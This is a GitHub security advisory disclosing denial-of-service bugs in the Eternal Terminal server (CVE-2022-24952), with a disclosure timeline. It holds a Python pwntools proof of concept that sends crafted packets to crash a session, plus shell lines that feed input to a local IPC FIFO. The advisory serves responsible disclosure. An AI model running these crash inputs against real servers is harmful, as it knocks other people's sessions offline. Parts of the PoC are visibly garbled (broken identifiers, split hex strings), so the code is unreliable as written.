metaredteam / external-disclosures (Public)

Eternal Terminal DoS Vulnerabilities

Low) vladionescu published GHSA-8cw3-6r98-q7cw on Jul 20

Package

Eternal Terminal (C++)

Affected versions

Patched versions

6.1.8

6.2.0

Description

Vulnerability Description:

There are several ways that authenticated attackers can crash the Eternal Terminal, I have highlighted two here.

The first is by having a sequence number that is invalid (for example, a message with a sequence number higher than that contained in the BackedReader buffer).

The second is by sending any invalid input to the local IPC socket /tmp/etserver.idpasskey.fifo.

Run the proof of concepts while logged in via Eternal Terminal. Observe that the user is disconnected from the server.

Proof of Concept:

Sequence number crash:

On server (register user):

echo 'AYhbylmc29TUJEau/E59AD03E34FC3AB9DED568F47EA27677_xterm-256color\n' | etterminal

On attacker machine:

```
#!/usr/bin/env python3
from pwn import *
import argparse
parser = argparse.ArgumentParser(description='[*] Send requests to an ET server')
parser.add_argument('host',help='host to send the requests to')
parser.add argument('port',help='port to send the request to', default=2022)
args = parser.parse_args()
def send init connect(host, port):
    r = remote(host, port)
#Initial Request
    init request=bytes.fromhex("14 00 00 00 00 00 00 00 01 41 59 68 62 79 6c 6d 63 32 39
54 55 4a 45 61 75 10 06")
    r.send(init_request)
    print(hexdump(r.recv(timeout=200)))
#Sequence number
    r.send(bytes.fromhex("02 00 00 00 00 00 00 00 08 7e"))
    print(hexdump(r.recv(timeout=200)))
#Follow up
    r.send(bytes.fromhex("00 00 00 00 00 00 00 00"))
    print(hexdump(r.recv(timeout=200)))
#r.interactive()
if name == " main ":
    send_init_connect(args.host, args.port)
```

Local IPC crash:

On server:

echo $\n \n \n \n \n \n \n \n \n \n \$

Timeline:

10/29/21: Vulnerabilities were disclosed to author of ET

11/3/21: Partial fixes for the most serious issues to ET were released (but not this particular issue)

1/27/22: 90 day deadline for public disclosure reached

Severity

CVE ID

CVE-2022-24952

Weaknesses

No CWEs

Credits



adi-ajit